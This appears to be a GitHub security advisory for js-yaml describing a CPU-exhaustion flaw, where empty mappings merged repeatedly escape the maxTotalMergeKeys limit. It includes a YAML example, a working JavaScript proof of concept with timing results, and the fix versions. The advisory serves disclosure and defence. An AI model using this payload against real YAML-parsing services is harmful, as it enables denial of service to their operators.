GHSA-2883-xcg3-v3hh js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

• npm js-yaml: >= 4.0.0, < 4.3.2 → fixed in 4.3.2 • npm js-yaml: >= 3.0.0, < 3.15.2 → fixed in 3.15.2

Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: • <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | Impact An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. Fix Count each merge-source mapping as one budget unit, in addition to counting its keys. Difference with v5 In v3 & v4, merge is enabled by default. So, the severity score is higher.